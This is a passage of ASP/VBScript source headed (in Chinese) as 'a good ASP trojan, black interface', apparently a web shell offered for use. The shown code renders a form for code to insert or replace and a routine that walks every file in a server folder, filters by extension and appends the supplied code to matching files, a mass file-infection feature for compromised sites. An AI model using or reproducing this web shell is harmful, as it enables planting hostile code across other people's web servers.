一款不错的asp木马 黑色界面(40)

rows=3>"&addcode&"</textarea></td></tr>"
    if M="3" then RRS "<tr><td><font color=#3399ff>替 换 为：
</font></td><td><textarea name=code2 cols=66 
rows=3>"&addcode&"</textarea></td></tr>"
    RRS "<tr><td></td><td> <input name=submit type=submit value=开
始执行> --标记解释--[成功：√ ， 排除：× ， 重复：<font color=red>×
</font>]</td></tr>"
    RRS "</table></form>" 
if request("submit")="开始执行" then 
RRS"<div style='line-height:25px'><b>执行记录：</b><br>"
call InsertAllFiles(Fpath,addcode,pcfile)
RRS"</div>"
end if
Sub InsertAllFiles(Wpath,Wcode,pc)
    Server.ScriptTimeout=999999999
     if right(Wpath,1)<>"\" then Wpath=Wpath &"\"
     Set WFSO = CreateObject("Scripting.FileSystemObject")
     on error resume next 
     Set f = WFSO.GetFolder(Wpath)
     Set fc2 = f.files
     For Each myfile in fc2
        Set FS1 = CreateObject("Scripting.FileSystemObject")
        FType1=split(myfile.name,".") 
        FType2=ubound(FType1) 
        if Ftype2>0 then
        FType3=LCase(FType1(FType2)) 
        else
        FType3="无"
        end if
        if Instr(LCase(pc),LCase(myfile.name))=0 and Instr
(LCase(FType),FType3)<>0 then
            select case M
                case "1"
                    if checkbox<>"checked" then
                        Set 
tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2)
                    if left(myfile.name,4)="conn"